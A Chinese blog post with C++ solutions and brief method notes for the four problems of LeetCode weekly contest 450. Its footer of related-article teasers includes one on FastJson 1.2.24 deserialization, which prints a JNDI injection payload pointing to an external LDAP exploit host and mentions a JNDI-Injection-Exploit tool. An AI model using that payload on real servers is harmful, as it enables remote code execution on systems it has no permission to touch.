力扣第450場周賽

Q1.?數位和等于下標的最小下標

給你一個整數數組 nums 。

返回滿足 nums[i] 的數位和(每一位數字相加求和)等于 i 的 最小 下標 i 。

如果不存在滿足要求的下標,返回 -1 。

示例 1:

輸入:nums = [1,3,2]

輸出:2

解釋:

nums[2] = 2,其數位和等于 2 ,與其下標 i = 2 相等。因此,輸出為 2 。
示例 2:

輸入:nums = [1,10,11]

輸出:1

解釋:

nums[1] = 10,其數位和等于 1 + 0 = 1,與其下標 i = 1 相等。
nums[2] = 11,其數位和等于是 1 + 1 = 2,與其下標 i = 2 相等。
由于下標 1 是滿足要求的最小下標,輸出為 1 。
示例 3:

輸入:nums = [1,2,3]

輸出:-1

解釋:

由于不存在滿足要求的下標,輸出為 -1 。

提示:

1 <= nums.length <= 100
0 <= nums[i] <= 1000

class Solution {
public:bool solve(int a,int b){int cnt=0;while(b>0){cnt+=b%10;b/=10;}return a==cnt;}int smallestIndex(vector<int>& nums) {for(int i=0;i<nums.size();i++){if(solve(i,nums[i])) return i;}return -1;}
};

Q2.??數位和排序需要的最小交換次數

給你一個由 互不相同 的正整數組成的數組 nums,需要根據每個數字的數位和(即每一位數字相加求和)按 升序 對數組進行排序。如果兩個數字的數位和相等,則較小的數字排在前面。

返回將 nums 排列為上述排序順序所需的 最小 交換次數。

一次 交換 定義為交換數組中兩個不同位置的值。

示例 1:

輸入: nums = [37,100]

輸出: 1

解釋:

計算每個整數的數位和:[3 + 7 = 10, 1 + 0 + 0 = 1] → [10, 1]
根據數位和排序:[100, 37]。將 37 與 100 交換,得到排序后的數組。
因此,將 nums 排列為排序順序所需的最小交換次數為 1。
示例 2:

輸入: nums = [22,14,33,7]

輸出: 0

解釋:

計算每個整數的數位和:[2 + 2 = 4, 1 + 4 = 5, 3 + 3 = 6, 7 = 7] → [4, 5, 6, 7]
根據數位和排序:[22, 14, 33, 7]。數組已經是排序好的。
因此,將 nums 排列為排序順序所需的最小交換次數為 0。
示例 3:

輸入: nums = [18,43,34,16]

輸出: 2

解釋:

計算每個整數的數位和:[1 + 8 = 9, 4 + 3 = 7, 3 + 4 = 7, 1 + 6 = 7] → [9, 7, 7, 7]
根據數位和排序:[16, 34, 43, 18]。將 18 與 16 交換,再將 43 與 34 交換,得到排序后的數組。
因此,將 nums 排列為排序順序所需的最小交換次數為 2。

提示:

1 <= nums.length <= 105
1 <= nums[i] <= 109
nums 由 互不相同 的正整數組成。

using pii=pair<int,int>;
class Solution {
public:int solve(int num){int ret=0;while(num>0){ret+=num%10;num/=10;}return ret;}int minSwaps(vector<int>& nums) {vector<pii> a;for(auto& x:nums){a.emplace_back(x,solve(x));}sort(a.begin(),a.end(),[&](auto x, auto y){if(x.second!=y.second) return x.second<y.second;else return x.first<y.first;});int n=nums.size();unordered_map<int,int> idx(n);for(int i=0;i<a.size();i++) idx[a[i].first]=i;vector<int> v(n);for(int i=0;i<n;i++){v[i]=idx[nums[i]];}vector<bool> vis(n);int c=0;for(int i=0;i<nums.size();i++){if(!vis[i]){c++;int j=i;while(!vis[j]){vis[j]=true;j=v[j];}}}return n-c;}
};// 1 2 3 4
// 4 3 2 1
// 1 3 2 4
// 1 2 3 4

Q3.??網格傳送門旅游

給你一個大小為 m x n 的二維字符網格 matrix,用字符串數組表示,其中 matrix[i][j] 表示第 i 行和第 j 列處的單元格。每個單元格可以是以下幾種字符之一:

'.' 表示一個空單元格。
'#' 表示一個障礙物。
一個大寫字母('A' 到 'Z')表示一個傳送門。
你從左上角單元格 (0, 0) 出發,目標是到達右下角單元格 (m - 1, n - 1)。你可以從當前位置移動到相鄰的單元格(上、下、左、右),移動后的單元格必須在網格邊界內且不是障礙物。

如果你踏入一個包含傳送門字母的單元格,并且你之前沒有使用過該傳送門字母,你可以立即傳送到網格中另一個具有相同字母的單元格。這次傳送不計入移動次數,但每個字母對應的傳送門在旅程中 最多 只能使用一次。

返回到達右下角單元格所需的 最少 移動次數。如果無法到達目的地,則返回 -1。

using pii=pair<int,int>;
using ll=long long;
#define mx LLONG_MAX
struct Node{int x,y;ll d;bool operator<(const Node& o) const {return d>o.d;}
};
const int dx[4]={-1,1,0,0};
const int dy[4]={0,0,-1,1};
class Solution{
public:int minMoves(vector<string>& matrix) {int m=matrix.size(); int n=matrix[0].size();if(matrix[0][0]=='#'||matrix[m-1][n-1]=='#') return -1;vector<vector<pii>> o_p(26);for(int i=0;i<m;i++){for(int j=0;j<n;j++){if(matrix[i][j]>='A'&&matrix[i][j]<='Z'){o_p[matrix[i][j]-'A'].push_back({i,j});}}}vector<vector<ll>> d(m,vector<ll>(n,mx));d[0][0]=0;vector<bool> vis(26,false);priority_queue<Node> pq;pq.push({0,0,0});while(!pq.empty()){Node cur=pq.top();pq.pop();int x=cur.x,y=cur.y;ll c_d=cur.d;if(c_d>d[x][y]) continue;if(x==m-1&&y==n-1) return c_d;char c=matrix[x][y];if(c>='A'&&c<='Z'){int idx=c-'A';if(!vis[idx]){for(auto& p: o_p[idx]){int nx=p.first,ny=p.second;if(d[nx][ny]>c_d){d[nx][ny]=c_d;pq.push({nx,ny,c_d});}}vis[idx]=true;}}for(int k=0;k<4;k++){int nx=x+dx[k],ny=y+dy[k];if(nx<0||nx>=m||ny<0||ny>=n) continue;if(matrix[nx][ny]=='#') continue;if(d[nx][ny]>c_d+1){d[nx][ny]=c_d+1;pq.push({nx,ny,c_d+1});}}}return -1;}
};

Q4.??包含給定路徑的最小帶權子樹 II

?給你一個?無向帶權?樹,共有?n?個節點,編號從?0?到?n - 1。這棵樹由一個二維整數數組?edges?表示,長度為?n - 1,其中?edges[i] = [ui, vi, wi]?表示存在一條連接節點?ui?和?vi?的邊,權重為?wi。

此外,給你一個二維整數數組?queries,其中?queries[j] = [src1j, src2j, destj]。

返回一個長度等于?queries.length?的數組?answer,其中?answer[j]?表示一個子樹的?最小總權重?,使用該子樹的邊可以從?src1j?和?src2j?到達?destj?。

這里的?子樹?是指原樹中任意節點和邊組成的連通子集形成的一棵有效樹。

using pii = pair<int, int>;
class LCA_solve {
public:vector<int> depth, to_root_minD;vector<vector<int>> pa;LCA_solve(vector<vector<int>>& edges) {int n = edges.size() + 1;int m = bit_width(edges.size() + 1); vector<vector<pii>> g(n);for (auto& e : edges) {int x = e[0], y = e[1], z = e[2];g[x].emplace_back(y, z);g[y].emplace_back(x, z);}depth.resize(n);to_root_minD.resize(n);pa.resize(n, vector<int>(m, -1));auto dfs = [&](this auto&& dfs, int x, int fa) -> void {pa[x][0] = fa;for (auto& [y, w] : g[x]) {if (y != fa) {depth[y] = depth[x] + 1;to_root_minD[y] = to_root_minD[x] + w;dfs(y, x);}}};dfs(0, -1);for (int i = 0; i < m - 1; i++) {for (int x = 0; x < n; x++) {if (int p = pa[x][i]; p != -1) {pa[x][i + 1] = pa[p][i];}}}}int get_kth_ancestor(int node, int k) {for (; k; k &= k - 1) {node = pa[node][countr_zero((unsigned)k)];}return node;}int get_lca(int x, int y) {if (depth[x] > depth[y]) {swap(x, y);}y = get_kth_ancestor(y, depth[y] - depth[x]);if (y == x) {return x;}for (int i = pa[x].size() - 1; i >= 0; i--) {int px = pa[x][i], py = pa[y][i];if (px != py) {x = px;y = py;}}return pa[x][0];}int twoPoits_dis(int x, int y) {return to_root_minD[x] + to_root_minD[y] - to_root_minD[get_lca(x, y)] * 2;}
};
class Solution {
public:vector<int> minimumWeight(vector<vector<int>>& edges, vector<vector<int>>& queries) {LCA_solve g(edges);int n = queries.size();vector<int> ans(n);for (int i = 0; i < n; i++) {vector<int> q = queries[i];int x = q[0], y = q[1], z = q[2];ans[i] = (g.twoPoits_dis(x, y) + g.twoPoits_dis(y, z) + g.twoPoits_dis(x, z)) / 2;}return ans;}
};

總結:難度還好吧,看榜單上AK的人挺多的....

1. 簡單模擬

2. 找規律

3.?Dijkstra+優先隊列優化

4. 找最近公共祖先

感謝大家的點贊和關注,你們的支持是我創作的動力!(其他細節,有時間再補充...)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/82084.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/82084.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/82084.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【氮化鎵】偏置對GaN HEMT 單粒子效應的影響

2025年5月19日,西安電子科技大學的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊發表了題為《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于實驗和TCAD仿真模擬方法,研究了單粒子效應對關斷狀態、半開啟狀態和開啟狀態下AlG…

湖北理元理律師事務所債務優化方案:讓還款與生活平衡成為可能

在現代社會&#xff0c;債務問題已經成為影響許多家庭生活質量的重要因素。如何在不影響基本生活的前提下合理規劃還款&#xff0c;是眾多債務人面臨的實際難題。湖北理元理律師事務所推出的債務優化服務&#xff0c;正是針對這一需求而設計的專業解決方案。 該所的債務優化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 測試執行 DNS解析記錄 利用JNDI工具進行注入 復現流程 java -jar JNDI-Injection-Explo…

基于Android的點餐系統_springboot+vue

開發語言&#xff1a;Java框架&#xff1a;springboot AndroidJDK版本&#xff1a;JDK1.8服務器&#xff1a;tomcat7數據庫&#xff1a;mysql 5.7數據庫工具&#xff1a;Navicat12開發軟件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;Maven3.3.9 系統展示 APP登錄…

Maven 項目介紹

一、Maven 概述? Maven 是一個基于 Java 的項目管理和構建自動化工具&#xff0c;由 Apache 軟件基金會開發。它采用 “約定優于配置”&#xff08;Convention Over Configuration&#xff09;的原則&#xff0c;通過標準化的項目結構和配置&#xff0c;極大地簡化了項目的構建…

人工智能+:職業技能培訓的元命題與能力重構

當“人工智能”成為各行各業的熱門命題時&#xff0c;我們似乎跳過了一個更根本的思考&#xff1a;人類究竟需要怎樣的AI能力&#xff1f;這個問題不解決&#xff0c;任何技術賦能都可能淪為無本之木。真正的挑戰不在于如何應用AI&#xff0c;而在于如何定義人與AI的能力邊界—…

相同,對稱,平衡,右視圖(二叉樹)

本篇基于b站靈茶山艾府。 100. 相同的樹 給你兩棵二叉樹的根節點 p 和 q &#xff0c;編寫一個函數來檢驗這兩棵樹是否相同。 如果兩個樹在結構上相同&#xff0c;并且節點具有相同的值&#xff0c;則認為它們是相同的。 示例 1&#xff1a; 輸入&#xff1a;p [1,2,3], q…

MCU開發學習記錄19* - CAN學習與實踐(HAL庫) - 定時傳輸、觸發傳輸和請求傳輸(輪詢與中斷實現) -STM32CubeMX

名詞解釋&#xff1a; CAN&#xff1a;Controller Area Network ISO&#xff1a;?International Organization for Standardization ?OSI&#xff1a;?Open Systems Interconnection SOF&#xff1a;?Start Of Frame EOF&#xff1a;?End Of Frame?? 統一文章結構&…

LEED認證是什么?LEED認證難嗎?LEED認證需要準備的資料

LEED&#xff08;Leadership in Energy and Environmental Design&#xff0c;能源與環境設計先鋒&#xff09;是由美國綠色建筑委員會&#xff08;USGBC&#xff09;開發的一套全球廣泛認可的綠色建筑認證體系&#xff0c;用于評估建筑在設計、施工、運營和維護中的可持續性表…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一個強大命令行工具&#xff0c;主要用于分析多媒體文件&#xff08;如視頻、音頻等&#xff09;的格式和內容信息。它可以提取文件的元數據、編解碼器信息、流詳情、幀信息等&#xff0c;而無需對文件進行轉碼或修改。 基本用法 ffprobe [選項] …

暗黑科技感風格智慧工地監管系統

智慧工地監管系統作為這場變革中的關鍵力量&#xff0c;正逐漸改變著傳統工地的管理模式。今天&#xff0c;就帶大家一同領略一款用Axure精心打造的暗黑科技感風格智慧工地監管系統原型&#xff0c;感受科技與建筑碰撞出的奇妙火花。 這款智慧工地監管系統原型采用了極具魅力的…

【軟件安裝】Windows操作系統中安裝mongodb數據庫和mongo-shell工具

這篇文章&#xff0c;主要介紹Windows操作系統中如何安裝mongodb數據庫和mongo-shell工具。 目錄 一、安裝mongodb數據庫 1.1、下載mongodb安裝包 1.2、添加配置文件 1.3、編寫啟動腳本&#xff08;可選&#xff09; 1.4、啟動服務 二、安裝mongo-shell工具 2.1、下載mo…

CSS:margin的塌陷與合并問題

文章目錄 一、margin塌陷問題二、margin合并問題 一、margin塌陷問題 二、margin合并問題

PostgreSQL 數據庫備份與恢復

1 邏輯備份(單庫) postgres#pg_dump --help 使用方法: pg_dump [選項]... [數據庫名字] 一般選項: -f, --fileFILENAME 輸出文件或目錄名 -F, --formatc|d|t|p 輸出文件格式 (c 自定義壓縮格式輸出, d 目錄, tar,p 備份為文本明…

使用 LibreOffice 實現各種文檔格式轉換(支持任何開發語言調用 和 Linux + Windows 環境)[全網首發,保姆級教程,建議收藏]

以下能幫助你可以使用任何開發語言&#xff0c;在任何平臺都能使用 LibreOffice 實現 Word、Excel、PPT 等文檔的自動轉換&#xff0c;目前展示在 ASP.NET Core 中為 PDF的實戰案例&#xff0c;其他的文檔格式轉換邏輯同理。 &#x1f4e6; 1. 安裝 LibreOffice &#x1f427;…

AWS stop/start 使實例存儲lost + 注意點

先看一下官方的說明: EC2有一個特性,當執行stop/start操作(注意,這個并不是重啟/reboot,而是先停止/stop,再啟動/start)時,該EC2會遷移到其它的底層硬件上。 對于實例存儲來說,由于實例存儲是由其所在的底層硬件來提供的,此時相當于分配到了一塊全新的空的磁盤。 但是從…

跨域問題詳解

目錄 一、什么是跨域問題&#xff1f; 二、跨域問題出現的原因 三、跨域的解決方案 四、結語 在 Web 開發的世界里&#xff0c;當我們嘗試通過 AJAX 等技術獲取不同源的資源時&#xff0c;常常會遇到 “跨域問題”。這不僅是前端開發者頻繁遭遇的技術障礙&#xff0c;也是保…

VSCode 插件 GitLens 破解方法

文章目錄 1. 安裝指定版本2. 修改插件文件3. 重啟 VSCode 1. 安裝指定版本 在 VSCode 中打開擴展&#xff08;Ctrl Shift X&#xff09;&#xff0c;搜索 GitLens&#xff0c;右鍵點擊 安裝特定版本&#xff0c;在彈出的窗口中選擇 17.0.2&#xff0c;然后等待安裝完成。 2…

JavaScript的三大核心組成:ECMAScript、DOM與BOM

JavaScript的三大核心組成&#xff1a;ECMAScript、DOM與BOM 在前端開發領域&#xff0c;JavaScript是構建動態網頁和交互式應用的核心語言。然而&#xff0c;許多人對JavaScript的組成缺乏清晰的認識。實際上&#xff0c;JavaScript并非單一的語言規范&#xff0c;而是由三個…

JC/T 2490-2019 石灰基單層裝飾砂漿檢測

石灰基單層裝飾砂漿是指由石灰等無機膠凝材料、級配砂、外加劑或無機顏料制成的具有裝飾功能的干粉飾面材料。 JC/T 2490-2019石灰基單層裝飾砂漿檢測項目&#xff1a; 測試項目 測試方法 外觀 JC/T 2490 干密度 JC/T 2490 凝結時間 JGJ/T 70 抗折強度 GB/T 17671 抗…